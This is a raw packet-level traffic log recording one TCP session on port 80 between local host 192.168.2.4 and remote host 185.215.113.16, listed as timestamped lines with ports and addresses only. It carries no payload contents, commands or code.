Oct 31, 2024 04:15:16.324054956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.324139118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324150085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324158907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324172020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324182034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324196100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.324215889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.324286938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324297905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324331045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.324459076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324470997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324482918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324493885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324503899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324508905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.324517012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324528933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324533939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.324553967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.324583054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324630022 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.445399046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445411921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445421934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445434093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445472956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.445508957 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.445544958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445600033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445611000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445638895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.445664883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445677042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445702076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.445724010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445735931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445761919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.445934057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445945978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445955038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445965052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445977926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.445982933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.445986032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.445993900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446005106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446014881 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446017027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446052074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446062088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446074009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446106911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446178913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446191072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446201086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446219921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446230888 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446295023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446305037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446321011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446331978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446341038 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446341991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446353912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446365118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446393967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446414948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446464062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446476936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446511984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446513891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446549892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446618080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446630001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446640015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446652889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446660995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446693897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446769953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446783066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446825981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446841002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446852922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446862936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446886063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446926117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446938038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.446963072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.446995020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447031021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447043896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447057962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.447078943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447081089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.447149038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447175980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447186947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447213888 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.447236061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.447278976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447290897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447302103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447335005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.447366953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447417974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.447421074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.447438955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.450563908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.470998049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471014023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471024036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471035004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471067905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471116066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471230984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471285105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471296072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471328020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471348047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471359968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471385956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471391916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471420050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471487045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471498013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471508026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471519947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471529007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471554041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471559048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471626043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471637964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471668005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471791029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471801996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471812010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471832037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471832991 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471852064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471906900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471918106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471934080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471946001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471957922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471970081 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.471975088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.471996069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472033978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472104073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472115040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472125053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472145081 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472168922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472181082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472192049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472234011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472253084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472264051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472330093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472374916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472397089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472408056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472418070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472429037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472434998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472486019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472513914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472523928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472558975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472588062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472598076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472656012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472678900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472690105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472698927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472711086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472718000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472731113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472795010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472831011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472841978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472843885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.472948074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472959995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472970009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472986937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.472990990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473011971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473020077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473021030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473098040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473134041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473150969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473161936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473256111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473270893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473283052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473290920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473293066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473315954 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473328114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473510027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473520994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473536015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473546982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473551035 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473556995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473568916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473579884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473579884 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473591089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473602057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473613024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473632097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473679066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473787069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473819017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.473824978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.473855972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.489783049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.489794016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.489845991 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.505455017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505506992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505520105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505574942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.505609035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505620003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505629063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505641937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505651951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.505651951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505667925 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.505697966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.505778074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505788088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505799055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505809069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505820036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505857944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.505882025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.505887985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505904913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505914927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.505925894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.505949974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506023884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506040096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506050110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506062031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506082058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506103992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506160975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506172895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506182909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506201982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506230116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506239891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506280899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506300926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506311893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506323099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506333113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506366968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506380081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506426096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506436110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506470919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506480932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506491899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506516933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506551981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506562948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506586075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506597996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506634951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506664038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506675005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506719112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506735086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506755114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506782055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506788015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506793976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506824970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506860971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506870985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506880999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.506911039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.506978035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507029057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507044077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507069111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.507101059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.507131100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507143021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507153034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507181883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.507288933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507298946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507316113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507332087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507332087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.507343054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.507352114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.507375002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.630688906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.630702972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.630714893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.630744934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.630836964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.630896091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.630908966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.630937099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.630938053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.630964041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631225109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631236076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631253958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631263971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631341934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631352901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631356955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631365061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631375074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631397009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631427050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631453991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631469011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631506920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631603003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631613970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631623983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631644964 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631735086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631746054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631757975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631773949 CET	80	49738	185.215.113.16	192.168.2.4
